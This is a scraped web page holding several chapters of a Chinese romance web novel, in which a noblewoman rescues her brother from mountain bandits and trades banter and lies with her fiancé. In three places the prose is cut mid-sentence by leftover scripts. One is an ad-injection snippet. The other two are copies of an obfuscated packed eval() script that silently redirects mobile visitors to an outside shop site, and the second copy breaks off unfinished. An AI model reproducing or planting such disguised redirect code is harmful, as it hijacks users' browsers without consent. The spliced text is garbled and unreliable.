崔时清紧跟其后,岂料赵洛行却突然勒马回头,险些令她的马匹受惊。 “你在搞什么名堂?”崔时清很愤怒。 赵洛行仿若未闻,直勾勾盯着那辆马车,也顾不上与她解释,刀剑出鞘,冲上前去一通砍杀,不多时便与护卫们共同清理了剩余的山匪。 待到安全以后,崔时清驱马走了过去,看到站在马车前笑得花枝乱颤的赵洛行,眼皮跳了一下。 这鬼东西! 还没发怒,一个柔柔弱弱的声音传来,她闻声望去,看到了有些日子没见的京都才女陈柔欢。 “时娘?你怎么在此?” 崔时清意味不明地瞅着她,“这话是我要问的吧?” 陈柔欢看着崔时清,又看着赵洛行身后的一众民兵,沉眸叹了口气。 “大皇子,不知可否让我与时娘说些私话?” 赵洛行眸子转了转,挑眉笑着,“行呀!但说好了,你可不能忘了我的救命之恩!” 没有你,我家护卫也可抵挡这些毛贼啊! 莫名其妙多了一位救命恩人的陈柔欢,实在害怕这个混不吝的皇长子,心想他常年都在勉州,以后也难遇上,过些时候贵妃娘娘的寿辰备下厚礼奉上,此事也可了了。 思及此,陈柔欢温声敷衍道:“今日幸得大皇子相助,必不敢忘。” 即便跟陈柔欢不对付,崔时清也忍不住在心底为她的未来担忧。 这样没皮没脸认恩情的人,不乱打一通轰走,且等着日后被他挟恩图报吧。 赵洛行还在孔雀开屏、不愿离开,比起还端着好脾气应付的陈柔欢,崔时清先没了耐心,在他脚边抽了一鞭子,恶狠狠道。 “滚。” “……” 赵洛行为了钱,着实是把这辈子的气都受了个遍!悻悻然瞪了一眼崔时清,一步一回头地望着车中的女娘,慢吞吞走远。 “如此是否会开罪皇长子?”陈柔欢担忧地看着她。 担心我?还是担心你自己吧。 崔时清冷冷笑了一下,看了眼天色,“你想说什么?” 陈柔欢上下端详着崔时清的装扮,面容温和、自带着悲天悯人的慈善,而声线更是一如既往的悦耳动听,如清水落玉,令听者如沐春风。 “你是为了纪家阿兄而来的?” 自然,感到如沐春风的人里,并没有崔时清。她扬了扬眉,反问:“你是?” 陈柔欢面上的表情僵了一下,在这双似是可以看透一切的眼睛下,收起了多余的伪装,尽量以一种平淡地口吻关心道。 “时娘身体可好些了?茂县危险,你的伤势还未痊愈,本不该来此的。” “你想说的只有这些?”崔时清没有兴致与她闲谈,牵动着缰绳,双脚轻踢马腹,随时准备打马离开。 “等等。”陈柔欢看到她的动作,不知怎么的,忽然惊声喊住了她。 崔时清面无表情地看着她,目光微凉,还带着一丝警告。 “等等。”陈柔欢有些颓丧地重复了一声,随即低下头,掰扯着手中的丝帕。 她原本决定把这几日的经历、心中的犹疑忐忑,无法同别人说的一切都藏在心 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 底,永远封存。 但她遇见了崔时清,这是唯一让她生出了倾诉念头的人。 说完,会被嗤笑、会被轻视,可是,她还是想要把心中的不平,告诉她。 陈柔欢在越发冷厉的目光下,终于抬起头来,注视着高坐马上的女子。 “我是为了纪家阿兄而来的。在得知他立了军令状,我便跟着来了茂县。” 崔时清不知道要说些什么。 她其实更想问,你这弱不禁风的小美人,跟着来茂县做什么呀? 可是瞅着陈柔欢吐露心声、艰难又郑重的模样,唯恐把一向清高的才女惹哭。她现在可没工夫逗弄她,还是不惹微妙,存着这样的心思,崔时清默默闭上了嘴。 她被我的勇气折服了! 崔时清的沉默,在陈柔欢的眼中有了很好的解释,她顿时好受了许多,继续说道。 “听说你与纪家阿兄情投意合,我心中很不甘心。分明从小到大,我与他都是众人眼中最相配的那一对,为何他偏偏会心仪你!直到后来,我才明白。” 崔时清被勾起了好奇心,问道:“……明白什么?” 陈柔欢从马车暗箱中,捧起一摞书卷,抱在怀中说道:“都是因为这些话本子!” “啊?我不明白。”崔时清惊讶地看着她。 “你不要隐藏了!我知道了!”陈柔欢气恼地看着怀中的话本子,下一瞬又卸了力似的,一股脑儿全都扔在了车窗外,“你把集贤堂的话本子都看了遍,对男女情爱了若指掌,这才惹得纪家阿兄为你倾倒!” 崔时清低头看着地上的《倾城绝恋》,安静了片刻,才一言难尽地问道:“这些是集贤堂小厮说的?” “是他悄悄告诉我的,时娘可不要找他麻烦。”陈柔欢大方承认,又小心劝说。 想起自己的那些凶残恐怖的鬼怪本子,崔时清五味杂陈,好半天才无奈地摇了摇头 “……你不找他麻烦就行。” “我怎会做这种事情?”陈柔欢当即反驳。 崔时清尴尬地笑了笑。 她们四目相交,气氛莫名有些诡异。陈柔欢拍了拍发红的双颊,窘迫地说道:“这些话本子,我看了好几遍,总算是知道了,只有共同经历生死,才可获得真情。” “……这些都是骗人的。”崔时清忍不住劝了一声。 陈柔欢有些激动地说:“是,我也是如此想的!我来茂县是为了与纪家阿兄患难与共的!可是,来了以后,我当即便后悔了!我深以为,自己是被话本子骗了,有谁会为了一个郎君而把生死置之度外?” “说的不错。”崔时清点头,颇为赞同她的清醒。 还是她们女娘们理智,不耽于情爱美色啊! 陈柔欢幽怨地看着她,凄凄而道:“可是,我却碰到了你!时娘,我没想到你居然是真心爱慕纪家阿兄的!我自叹不如!” “……”真心、把纪危舟当作人质? 崔时清心虚了一瞬,很快又清醒了过来。 她没错!不拿捏住纪危舟,这会儿她连骨头渣子都不剩了! 端正好心态,她指着脚边的书卷,“你扔了这些话本子,是对的。” 好好一个才女!可不能再碰这些骗死人的玩意了! 好不容易处理了陈柔欢私藏的话本子,送走了她,他们继续上路。 赵洛行打马跟在崔时清的身侧,眼睛不是眼睛、鼻子不是鼻子地瞪着她,质问道:“你是不是欺负她了?” 崔时清神情恍惚地答:“……可能吧。” “你欺负她做什么?她多可怜啊!”赵洛行的眼睛只差没喷火。 崔时清觉得遭受话本子攻击的自己,更可怜。 斜眼瞅了赵洛行一眼,有气无力道:“原来,她就是那个‘你们’啊。” “……你说什么,我都听不懂。”赵洛行浑身发红,却还嘴硬。 崔时清冷哼一声,加紧马腹冲了出去,迎风落下一句话。 “跟不上,就种地挣钱去!” 47. 顽童 有钱能使鬼推磨。 在金钱的利诱下,赵洛行跑出了人生最快。 按照崔时清舆图中标注的路线,他们没有走山路主道,而是通过后侧隐藏的一条小径入山。 这条路崎岖难行,却可以通过茂林隐蔽行踪。 原定计划是潜伏于山寨附近、伺机而动,但行到半路,却遇上了大批山匪严正戒备,四处巡逻。 “都护军有动作了?”赵洛行扼腕地击打着掌心,只恨自己来的太迟。 崔时清举目望去,山道直通山寨,可令匪徒进退得宜,随时召集人手。而她的首要目的还是找到阿兄,并不适合在此与他们正面交锋。 “改道。” “对,改道。” 虽说赵洛行迫切想要争抢功劳,但比起出头鸟、吸引山匪的排头兵,他更愿意保留实力,在关键时候一击即中。 在一致的意见下,赵洛行等人悄无声息后退,避开山匪巡护的道路,迂回绕路前行。 在赵洛行思考是否要寻觅都护军的踪迹,与其合作杀敌时,崔时清找到了死士留下的暗记。 “跟着我走。”崔时清攥着一根树枝,沉声道。 赵洛行弯腰看了一眼,喜道:“找到你家阿兄了?” 崔时清颔首,顺着记号一路找,来到一处三面环山之地。正纳闷该往何处时,耳边传来低哑的声音,暗处走出一名灰衣死士,单膝跪在了她的面前。 嗅着鼻尖的血气,崔时清神色不明地看着死士身上的伤,陡然间脊背绷紧,连声音都有些虚软。 “我阿兄呢?” “受了轻伤,正在洞穴中修养,主子随我来。” 崔时清步履凌乱地跟上,赵洛行命人守在各处,便也穿过一处被藤蔓遮蔽的入口,看到了崔长殷和刘继谦等七人,或轻或重皆有负伤。 青壮衙役,只剩半数。 崔时清皱眉看了一眼伤情最重的茂县县令,阔步朝着崔长殷走去。 已有三四年没有入京的崔长殷,看着背光走来的女娘,神情呆滞,熟悉亲切的感觉让他一眼就认出自己的嫡亲阿妹,但内心的震撼却让他不敢相信。 小时娘不仅把死士全都派来护他,还亲身犯险,来了孤山? 崔时清走到他的面前,弯身检查着崔长殷臂上的伤,不高兴地骂道。 “阿兄糊涂!” “时娘?” 崔长殷的眼睛瞪得老大,木讷地瞅着她,任由崔时清举着手臂看了半天,直到听到女娘的指责,才恍恍惚惚地惊声道,“时娘怎么来了?!” “再不来,明年该为你的衣冠冢除草了!” 崔时清气得双脚发软,有些狼狈地扶着阿兄坐下。 她重伤未愈,长途跋涉来到勉州,再一路飞马、徒步孤山,看到死士受了伤,当即乱了心神,不敢想象在山中十数天的阿兄会如何。 此刻找到人,顿时卸了力,这一路上强压的恐惧和疲惫也都后知后觉地涌了出来,令她心跳加快,喘不过气来。 “时娘?你,你喝点水。” 崔长殷见状,慌乱地拿来水袋,扶着崔时清喂了几口水。 他本以为阿妹只是过于心急、长途劳累所致,刚想把死士猎来的野味递与她,灰衣人便屈膝阻止。 “主子可带了药?” 在崔时清从暗袋中取出瓷瓶,服了一丸药,缓过劲以后,崔长殷才焦急出声。 “你一向康健,怎会药不离身了?” 赵洛行举着崔时清没吃成的烤鸡啃了几口,含含糊糊地替她说道。 “上月刺客行凶,县主被长箭穿心而过,吃多少药都是应该的。” 崔长殷眼眶湿红,扶着她的手都哆嗦了起来。 “时娘受了这样的伤,怎么还来此劳心劳力!” “阿兄安分点,方可让我省心。”崔时清见崔长殷脏乱的模样,气不打一处来。 眼瞅着嫡亲阿妹苍白的面色,崔长殷不敢顶嘴,只得好声好气地认错,“时娘莫气,是阿兄不对。” 在旁听了许久的茂县县令刘继谦惭愧地开口道:“此行是我不周全,皆是我之过错,连累晚川了。” “知道便好!” “时娘。”崔长殷不赞同地看着她。 “大人无错!若非大人一心为民,我等至今还摸不透山寨所在!” 跟在刘继谦身边的青壮中已有认出皇长子赵洛行的,对于这位崔家县主更是存了敬畏,但却不容她诋毁轻视众人心中唯一的希望,纷纷声援县尊。 崔时清的目光一一扫过这些人,看着他们面色不安、眼睛却无比坚定。似是闹脾气一样,应和了几声,随即扭开头,不再看他们。 “好!他没错,你们也没错!” “有些险地总要有先行者走过一遭,才能辟出道来,孤山匪患亦如此。”崔长殷语重心长道。 崔时清叹了口气,开口问:“现下情况如何?” 崔长殷心知她是听了进去,有些欣慰地笑了笑,回忆着说道。 “孤山匪徒很敏锐。我们刚靠近山寨附近便遭到袭击,被迫躲在一处山坳间,水粮将尽时你的人寻来,才破开一条生路,护我们来到此处躲避。好在山寨舆图已经到手,不日便可铲除匪患。” 面对山洞中浑身糟污狼狈,却各个眸色晶亮、满是自豪的儿郎,赵洛行按了按怀中的舆图,突然不是很想让其现世。 崔时清看向灰衣人,“你们可有折损?” 灰衣人低头禀报:“折了两名。” 崔时清透过藤蔓望着遍眼的茂林峻岭,安静了须臾,“孤山不好。若是不愿回乡,便替他们在京都城外寻一个好去处。” “是,属下会安排妥当。”灰衣人接着崔长殷的话,又道,“朝廷已率军入山,今晨与山匪有过一次交锋。” 这个消息让刘继谦等人悲喜交加,皆红了眼睛。 有了将士和皇长子带来的民兵,他们现下便可一鼓作气,拿下孤山,为惨死于山匪手中的百姓报仇! 崔时清眨了一下眼睛,连声音不由轻了些许。 “可有看到他?” 不论是明处、还是暗处的,但凡跟在崔时清身边,皆知道这个‘他’意指何人。 “公子是这次剿匪的主将。” “他……”崔时清顿了顿,也不知自己更想问些什么。 崔长殷:“你们所谈的公子是何人?” 赵洛行吃饱喝足,豪迈地拍着肚子,欣赏过崔时清别扭的表情,才坏笑道:“不就是你未来的妹婿嘛!” 崔长殷瞬间黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“三千都护军在此,眼下如何打算?” 刘继谦没有多想,便道:“自是要与他们汇合、共同御敌的!” 与他的想法不同,带来一千民兵的赵洛行,更倾向于暂避锋芒。 “我们还未理清山匪战力,此刻都护军在明,更应当于暗处蛰伏,借机杀个山匪措手不及,才可确保一战必胜。” 刘继谦饱读诗书二十余载,却从未涉及兵法诡术,凭着一腔孤勇走到此处,折损的青壮都是他心中不可抹灭的痛处。 他原是抱着必死决心坚持至今,但现在不同,他们可以赢,便应该减少伤亡,把所有儿郎都带回家去。 如此想来,他对赵洛行的提议只余信服与钦佩,双手作揖,对着赵洛行深深拜下一礼。 “下官等人愿随殿下,荡平孤山匪患。” “愿随殿下,荡平孤山匪患。”青壮衙役随之应和。 剿平山匪、重归孤山。 这是勉州茂县儿郎们从父辈开始,便心心念念的愿望。此刻他们脚站这片山头,身边皆是同道,心中血泪皆燃烧起一团热火,足以支撑他们勇往而行。 崔时清的眼底闪过一丝难言的情绪。 这些人可为正义牺牲,而她只愿为了私欲不择手段。 他们是不同的。 但是此刻,看着这些人的眼睛,崔时清又觉得他们之间没有区别。 只要不以世间统一的尺度来衡量他们的对与错。 他们都是一群被心中的怒焰所牵引,义无反顾地扑向死敌刀刃的顽童,无知无畏、又知之不畏。 48. 度化 刚出洞府,便能感受到那股笼罩整座孤山的肃杀之气。 山寨方向火光冲天,伴着冲鼻的焦臭味,厮杀呐喊声也随之传了过来。 “他们动手了!” 赵洛行急得原地打转,恨不得生出一对翅膀,径直飞过去。 “殿下,此处有一条小道可以最快到达山寨。”刘继谦指着身后的密林。 崔时清和赵洛行相视一眼,点了点头。 “山匪凶悍,时娘还是在此等阿兄吧!”崔长殷拉住妹妹的手。 崔时清沉默了一瞬,看着崔长殷清正的眉眼,把同样的劝说咽进肚子中。 遥望远处的山火,前世的记忆再次涌出,黑漆漆的眸子皆是冷硬与凶恶,浑身血液都在极度的紧绷中沸腾起来,她再次变成了那时、不顾一切只为弑杀天道之子的她。 昳丽的容颜上,全是执拗。 “我必须去。” 崔时清略略低下头,漆黑的眸子闪过一丝诡异的笑意,决然地甩开了兄长的手,钻入绿林荒野间。 崔长殷从恍惚间回过神来,看着没了行踪的女娘,连忙顺着她的去向追去。 赵洛行对着身边蓄势待发、只等着大展拳脚的儿郎举起了手中的长剑。 “随我荡平绿匪!” 众人皆神色凛然,整装拔刀,奔赴他们的战场。 * 赶到山寨附近,崔时清立于巨石后,举目望去。 周围的一切顿然变得模糊,天地间、唯剩一人。 她的眼神蕴着狂热,痴痴地望着身处残肢断臂、血色与火光交织下,追寻了九世的人。 “找到了。” 崔时清弯起唇角,漾着两道梨涡,无声地笑着。 看着纪危舟不断穿行于绿衣长刀间,在越来越长的拼杀里、越来越疯狂的山匪中,可以感受到,他逐渐被动、逐渐力竭。 然而,哪怕在这种危急时刻,他刀刀只夺人手脚经脉,克制山匪行动,而不取其性命。 崔时清困惑地歪了歪头。 这是真的生了菩萨心肠? 真好,菩萨入了战场,会如何呢? 没有她这样天诛地灭的恶徒介入,天道之子会赢吗?还是以身饲鹰、任由天地万物啄食血肉,度化生灵? 有人可以,杀得了他吗? 脚底的枯枝发出清脆的断裂声。 崔时清的眼底凝起了一团冷意,直勾勾地看着划破那张脸的长刀,寒芒闪动,压不住的杀意从心底泛起,直通她的四肢百骸。 他是我的! “弓箭。” 身后的灰衣人闻言递上。 拉满弓上长弦,包裹着冷铁的箭矢瞄准了纪危舟的眉心。崔时清冷目灼灼,直视着他,心中掠过无数、洗不清的血迹,和忘不得的绝望。 眼中厉色一闪而过,长箭破空。 纪危舟抬起黑眸,迎着逆风冷箭,眼神定定地看着巨石旁的女子,一动不动。 箭矢贴着颈侧,穿过身后匪徒的眼窝。 同一时间,战场中出现了两名灰衣人,护在他的身边,抵挡刀剑来袭。 在惨叫声中,他回头看着被一击即中的山匪,在他没了声息,纪危舟才握住那只长箭,利落地拔出。 带起的血迹洒在衣上,他也浑然不觉,从袖中取出一方帕子,眉眼含笑地擦拭着箭头上的污血。 崔时清看着纪危舟像是捡到宝贝一样、把箭矢捧在手中,冷嗤一声,随手扔下了长弓。 赵洛行赶来,指挥手下分成两批,加入战局。 绿衣山匪被合围攻打,节节败退却无力突围,不知何人砍下匪首人头,扔向青天,转瞬间战局已定,剩余山匪再无抵抗之力,纷纷弃刀投降。 盘踞孤山数十年的绿衣匪患,至此荡平! 纪危舟对着赵洛行略略颔首,与都护军都尉交代了几句,握着箭矢,看向护卫身侧的死士。 他认得他们,崔氏给他家女娘的死士。 “公子。”灰衣人恭敬行礼。 纪危舟举着箭矢,骄傲地弯唇笑着,“走吧,去见你家主子。” 他说完,也没有等灰衣人,便迫不及待朝着巨石方向疾步走去。 “软软!” 崔时清眉眼耷拉着靠在石上,听到动静,懒洋洋地抬头看了一眼他。看到他面上的笑容,心底更加不得劲了。 她不知道自己在做什么。 她是该避开天道之子的邪门,不与他争锋缠斗,以兵不血刃的法子,让他痛苦、凄惨、失身失心、可怜兮兮任其蹂躏。 可是,有人愿意替她动手、砍了纪危舟,她有什么好生气的? 甚至亲手断送了这个绝好的机会! 纪危舟把箭矢递与身后的人,给了他们一个眼神,待他们皆背过身,退后两丈,这才一把抱住了崔时清。 “软软怎么不理我?” 崔时清嫌弃地推搡着浑身血气的人,“滚开,你脏死了。” 纪危舟全无自觉,反而把她搂得更紧了,屈膝躬身,鼻尖在柔软的颈侧嗅了嗅,声音闷闷,带着一丝委屈。 “软软不是来寻我的吗?” 呼吸洒在颈上,牵起一丝温痒,崔时清瑟缩肩头闪躲着。 “何人寻你了?我是来找我家阿兄的!” 纪危舟在颈上轻啄了两下,托着她的后颈,连眉眼都染了笑意。 “还嘴硬?你找到兄长,不是就急着赶来见我了吗?” “我才没有嘴硬!”崔时清气急败坏地怒视他。 纪危舟欺身在她的唇瓣上亲了亲,笑道:“是,很软。” “……”崔时清被他越发厚实的脸皮惊呆了,一时不知道如何反驳,便转而揪着他的小尾巴质问。 “你为何不取山匪性命?是嫌自己活得太长了?” 纪危舟微怔了一下。 ——向佛寺中,一人跪于万佛前立誓。 万佛予他一线生机,得他此生不可为私欲,夺人性命。 誓不可破,违背此言之日,便是梦碎之时。 纪危舟捧起崔时清的面颊,鼻尖相抵,专注地看着她的眼睛。 我不知何谓情深,只知道眼前之人是我于这世间唯一的欲念。 你是我求来的。 若是因私欲而夺人性命为天所不容,为了求来你,我愿意放下屠刀,任天道宰割。 心之所求、此生绝不悔之。 纪危舟很轻地问道:“舍不得我?” 崔时清应该对此嗤之以鼻,严词反驳。 但不知怎么了,看着纪危舟沉静中、又像被太多东西盛满的黑眸,她莫名被他眼中的沉重牵引着,无法抗拒、不得挣脱。 很久,她才低垂着眸子,没有多少气力地发出了声音。 “懒得理你。” “原来是真的,软软真的在怜惜我。”纪危舟眉开眼笑,黏黏糊糊地搂着她,摇了摇。 再一次被抱着双脚离地,崔时清大翻白眼,捶了他一拳。 “不要发疯了。” “软软不知,我有 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他家阿妹如此倾心纪家三郎,冒着危险也要赶来,为他解困。 纪家三郎、嗯,也是有心,一介文官为了时娘,率兵闯入孤山,与匪徒死斗。 怎么办? 他还要不要反对这门婚事? 趁着未来舅兄陷入纠结、暂时没有心力棒打鸳鸯,纪危舟想也不想,扛起怀中的女娘子,转身便跑。 崔时清:“……” 直到崔长殷想明白,同不同意婚事,也不耽误他反对纪家三郎于婚前随意搂抱自家妹妹,刚要教训没有分寸的浪荡子,举目望去,面前却空空如也,俩人皆没了行踪。 “实在可恶!”他气得原地打转,却也无用。 在纪危舟的努力下,找到一处僻静的角落,把肩头的女娘抵在光滑的山壁上。 崔时清扶着他的肩颈,盯着纪危舟看了片刻,可他越发得意的笑容中,扯了扯唇角,问道。 “这土匪作风,莫不是也要落草为寇了?” “有何不可?山匪自有山匪的随性,你我便以白云清风为聘,结为夫妇,可好?” 指尖拂过面颊上的一道破皮的红痕,崔时清弯起了唇角。 “不好,你已破了相,再入不了我的眼了。” “软软说什么?” 纪危舟也牵动着唇角,笑着看她。 察觉到一丝危险的气息,但崔时清依旧我行我素,天不怕地不怕地看着他。 “我说,你变丑了,我要悔婚。” “再说一遍?” “说就说,我要……” 谈笑自如间,纪危舟倏然低头,堵住这张染了毒的嘴唇,把所有抵抗都化作破碎的轻喘,望着彼此的眼神氤氲着水气,粘稠而胶着。 “软软,还能再说一遍吗?” “你——” 双颊连着耳根都热得不行,崔时清微微抿起红润的唇瓣,没了赌气的冲动,眼眸微转,抬起下颚,斜睨着他。 “你还敢指使我了?” “不敢。”纪危舟小媳妇模样地低着脑袋,温良无害地开口。 “装模作样。” 歪头靠在纪危舟的颈窝,唇瓣轻轻扫过他面上的伤口,崔时清放软了身体,阖上眼睛。 “我讨厌这里,我们、归家吧。” 49. 谎言 有了披风的遮挡,崔时清没有任何负担地趴在纪危舟的背上,由着他背下了山。 途中,还美美地补了个觉。 来到山脚,连日的疲乏也舒缓了不少,她揉着睡眼,看向一列高头大马。 有了精神头,崔时清嫌弃起浑身湿汗的人,挥手拒绝了共骑的提议。 “我不与人共骑。” “软软不要我了?”纪危舟似是很震惊。 崔时清无情道:“不要了。” 纪危舟欺身探头,楚楚可怜地看着她,极尽弱小可怜的神态。但身体又如高山一样,硬生生挡住她的去路,颇为蛮横与放肆。 崔时清的视线落在他面颊上,瞅着并不严重、却很刺眼的红痕,再看着他闹闹哄哄,也不知道收拾一番,便有些烦心。 随手从马上取来水袋,浸了帕子,不耐烦地扔给他。 “脏兮兮的,还不擦洗一下。” 也不知是有意还是无意,纪危舟笑着擦拭面上的汗,又洗过手,却完全没有照顾到被汗水浸过的刀伤。 崔时清冷眼旁观地瞧着,只觉得浑身难受,忍了又忍,气恼地走上前,抢下湿帕子,重新冲洗过。 看着面前自觉弯下腰的人,磨了磨牙,一边轻轻拭过那道刀伤,一边语气不善地说话。 “要是留了疤,你自个掂量掂量,看我还要不要你了!” “软软不能以貌取人。” 纪危舟不赞同地睨了她一眼,便垂下长睫,乖顺地弯腰站着。 柔软的指腹裹着丝滑的帕子、拂过面颊,好似同样拂过他的心尖。 难以形容的痛苦也包裹着不可自拔的眷恋,席卷着他的身体。呼吸都不由轻颤,感受着蚀骨噬心的难耐,又忍不住沉沦迷恋着,崔时清带给他的、四肢百骸都温痒难耐的骚动。 看着莫名红了起来的俊脸,崔时清微挑眉眼,勾了勾唇。 “错了,我是以貌嫁人。” 纪危舟闷笑了一声,“也好,既然软软喜欢,我定会护好这张脸的。” “……谁喜欢了?!”崔时清啐了他一声。 “软软喜欢呀。”纪危舟笑眼看她。 “成天与我耍嘴皮子,长成天仙也惹人嫌。”崔时清收回手,瞪了他一眼。 “软软不喜欢也可,我来喜欢。”纪危舟拉着她的手,在耳边低声道,“喜欢你。” 崔时清有些懵怔。 喜欢? 她诧异地端详着纪危舟的容貌,眨了下眼睛,又想到来时陈柔欢说的话。 情投意合、真心爱慕? 非要说喜欢,她最喜欢的还是纪危舟的天命!喜欢到嫉妒!嫉妒到恨不得夺走! 她讥嘲地轻哂一声,散漫地说道:“我生得如此貌美,不喜欢也难。” “软软说的对。” 纪危舟轻笑着,一手拉着缰绳,一手牵着她,慢步走着。 崔时清轻哼了两声,百无聊赖地卸下腰间的长鞭,有一下没一下地抽打前路的碎石。 听着清脆的击石声,望向高耸入云的孤山,突然觉得前世的记忆变得很模糊,也很遥远了。 这种错觉,让她久违地升出了一种踏实感。 纪危舟也顺着她的视线望去,安静了须臾,轻声道。 “软软不喜欢此处,以后我们便再也不来了。” 崔时清没有疑议,心情大好地勾起唇角,与他并肩同行。 秋日午后,金灿灿的暖阳铺了一地,勾勒出俩人一马的影子,依偎于一处。 “可要上马?” 纪危舟回头,看着他们在无言中,一起走过的长路。他还想继续走下去,但到底还是舍不得女娘随他徒步远行。 崔时清也看了眼蜿蜒官道的尽头,星星点点的马队,颇为惊奇。 眨眼间,他们居然走了这么远? “怎就牵了一匹马?”崔时清攒眉看他。 纪危舟无辜地淡笑着,“我只顾着与软软说话,并未没注意……” 崔时清不信他,斜乜着眼,“成天算计这些小心思,有意思?” 纪危舟理直气壮道:“谁让你不要我了?” “怪我。”崔时清反省过,举起鞭子点了点他的胸膛,“怪我没有及早看清你的真面目。” 纪危舟握住她的手,贴在心口上,一脸期待地问。 “软软看到什么了?” 小心眼、不正经,狐狸精! 不过,她不想说出口。 崔时清可以想象到,把这些评语说出口以后,这厮会如何腆着脸、更加不正经地答些什么。 她着实不想在这官道上,与眼前之人纠缠这些幼稚的私话。 拨开纪危舟的手,兀自上了马。 驱马绕行了一圈,崔时清居高临下地盯着他。 “给你两个选择。” “有两个吗?软软快说。”纪危舟一脸期待。 崔时清弯腰,以长鞭挑起他的下巴,冷淡地开口道:“一是回头寻马。” 纪危舟拒绝道:“这个不好,还有呢?” 崔时清收回鞭子,皮笑肉不笑着,“还有、便是在此等着他们回城。只是不知他们何时归来,这条官道荒僻,少不得野狼出没,兴许还没碰到人,就便宜饿狼了。” “软软呢?”纪危舟有些忐忑地瞅着她。 又装可怜。 崔时清在心底腹诽了一句,正色地说道:“我自然是要——” 轰鸣一声,天色忽变。 她面无表情地看着风云涌动,头顶上方聚起一团不祥的乌云。 还真是亲生的,这就舍不得了? “似乎要下雨了,软软不会扔下我吧?” 纪危舟眼巴巴地瞅着她,几乎要把天真无邪具象化,刻在了面上。 崔时清气不打一处来,策马的鞭子却怎么也、不太敢举起。 这天道疯疯癫癫的,和牠儿子有的一拼,谁知道会不会突然抽风,不管不顾劈她泄愤? “上马。”崔时清咬牙切齿道。 纪危舟忙不迭翻身上马,把女娘抱在怀中时,长长舒了一口气。 还好,不必狂奔追马了。 同一时刻,崔时清也吐了口气。 眉眼张扬地睨着头顶的黑云,弯唇冷笑着,把小人得志演绎得淋漓尽致。 来吧来吧!劈死你儿子儿媳!不来,你就是老混蛋! 天际发出一声沉闷的巨响,崔时清侧身把脑袋往纪危舟的心口处钻了钻,恨不得在他身上打个洞,把自己挤挤藏好。 “我害怕。” 崔时清扒拉着她的护身符,眨巴起水汪汪的眸子,也装上了委屈。 纪危舟顺势抱紧了她,以宽袖披风把崔时清护得严严实实的,轻抚着纤薄的脊背。 “我在,软软不怕。” “你会护着我吗?”崔时清仰头看他。 “我会一直陪着软软,不会让任何人伤害你的。”纪危舟低头在女娘的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972494|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉心印下一个吻。 “任何人?”崔时清攥着他的衣襟,以无比信赖又依恋的目光,注视着他。 “任何人。”纪危舟一眼不眨,强调道。 在这样郑重其事的承诺下,崔时清展颜露出了笑容,抻着脖颈,在纪危舟的下颌上,轻啄了一下。 扫了一眼乌沉的浓云,狡黠地转了转眼睛,又端着无辜清白,问道。 “你可有发现,近来天道有些不正常?” 纪危舟揉了揉爱作怪的女娘子,轻踢马腹,一边缓慢骑行,一边应和着。 “好像是,雷雨多了。” “多了不少!时不时便电闪雷鸣!你说奇不奇怪?” “挺奇怪的。” “老话常说,秋天打雷,遍地是贼。这时节天老爷不辨是非、成天乱来,也不知要害了多少百姓饿肚子。” 沉甸甸的黑云间聚拢起数条紫电,错综交织。可以感知天怒的万物生灵顿时被这种足可毁天灭地的恐怖之力惊动而出,慌乱逃窜着。 崔时清还嫌不够,牵着纪危舟的手,指了指天。 “看看,这天象,牠是不是又在闹脾气了?” “像是。” 纪危舟与她十指相扣,觉得耳边听到的每句话,都很有道理。 崔时清喜欢他的上道,多亲了他几下,喜滋滋笑着。 天色阴沉、似有骤雨来袭,偶有快马奔袭赶路。 唯独他们二人,不急不慢地驱马前行,慢声闲谈着。 身边车马疾驰,环绕着自己的胸膛熟悉又温暖,为她挡住了凛冽的秋风。 崔时清感到心安,又免不得患得患失。 “天道无常,有朝一日,若是天地之间、九州大荒皆容不得我。”崔时清看向纪危舟,眸子乌沉沉的,轻声道,“你,还会陪着我吗?” “你忘了?”纪危舟笑着,眼中有一丝嗔怪,“我们立下了白首之约、不离不弃,不论你去何处,我都会在。” 白首之约? 可,这是她的谎言。 崔时清的心乱了几分,连攥着他衣袍的手,都不受控制地用了全力。 “要是,我……”骗了你。 “软软想说什么?” 望着纪危舟专注的黑眸、眉眼间的眷慕,崔时清感到心虚与忐忑。这忐忑之后,还有一丝很淡、很淡的恐慌,好像在看着握在掌心的米珠,一点点流逝。 她明白,越是贪心、失去的越多。 可是天性如此,每每还是忍不住张开五指,贪恋着、填满它。 “我不记得了。”崔时清望着他的眼睛,说道。 纪危舟轻掐着她的面颊,挤了挤,笑容不改地一字一顿道:“十月初二你我成婚,从此白首不相离。” 崔时清的眼睛极慢地眨了眨,在纪危舟的注视下,重复道:“你我、白首不相离。” 指腹抚摸着她的面颊,纪危舟笑问:“记住了?” 崔时清错开眼,装作不耐烦地嘟囔道:“记住了。” “不可再忘。” “唔,知道啦。” 谎言又如何。 只要说的足够多、只要她不承认,谁也不会知道。 再说,她可是京都恶霸啊!难不成还要和对头掏心掏肺了? 若是他一直如此安分,也不是不能留着他。 这样是不是便算不得欺骗了? 崔时清的眼神飘忽了片刻,默默靠在他的胸膛,假寐不语。 50. 感动 天色昏黄,他们回到了城中别苑。 崔长殷早已等在门口,看到他们归来,立即迎了上去。 扶着崔时清,纪危舟率先下了马,在未来舅兄想要搭手时低声提醒。 “睡了。” 崔长殷双手举至半空,闻言抿唇噤声,动作便慢了一步,眼睁睁看着妹妹被人抱着进了门。 他开始讨厌纪家三郎了。 感觉自己和纪危舟处处不合的崔长殷,神情幽怨着,亦步亦趋跟上。 桑麻在前指引,一路把他们带入单独整理出来的小院中。 崔时清睡得并不太踏实,半梦半醒间,还可以察觉到身边的动静。 